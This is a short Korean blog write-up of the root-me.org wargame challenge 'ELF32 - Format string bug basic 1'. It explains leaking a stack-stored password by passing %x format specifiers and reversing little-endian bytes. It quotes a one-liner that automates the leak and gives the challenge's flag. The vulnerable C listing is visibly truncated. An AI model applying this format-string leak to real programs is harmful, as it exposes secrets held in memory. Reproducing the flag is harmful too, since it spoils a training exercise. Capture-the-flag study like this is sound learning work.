war game/root-me.org
ELF32 - Format string bug basic 1
shnec
2016. 10. 17. 07:52
- #include <stdio.h>
- #include <unistd.h>
- int main(int argc, char *argv[]){
- char buffer[32];
- return 0;
- }
버퍼에 패스워드가 저장되므로
argv에 %8x를 넣어줘서 패스워드값ㅇ르 읽어오면된다
수상하게 긴 놈이 보인다
앞에는 0804b008인 쓸데없는 쓰레기값일 확률이 높으므로 그 뒤에 부터 봐보면
이거는 비밀번호 쳐보니까 안되더라
ㅇ왜냐하면
리틀에디안으로 저장되있어서 그렇다
4글자씩 거꾸로 읽어줘야한다
Dpa9d6)(Epam
이 답
solution에 들어가 다른사람 풀이를 보니 파이썬으로 코딩해놨따
- binary5@challenge02:~$ echo -e $(./binary5 $(ruby -e 'print "%08x"*150') | sed -r '
- # little-endian architecture, reorder bytes
- s/(..)(..)(..)(..)/\4\3\2\1/g
- # preceed every byte by \\x so it will be
- # interpreted by echo -e
- s/(..)/\\x&/g
- ' ) | grep -Pazo '[[:print:]]{13}\n'
- Dpa9d6)(Epamd
파이썬 정규식을 공부해봐야겠다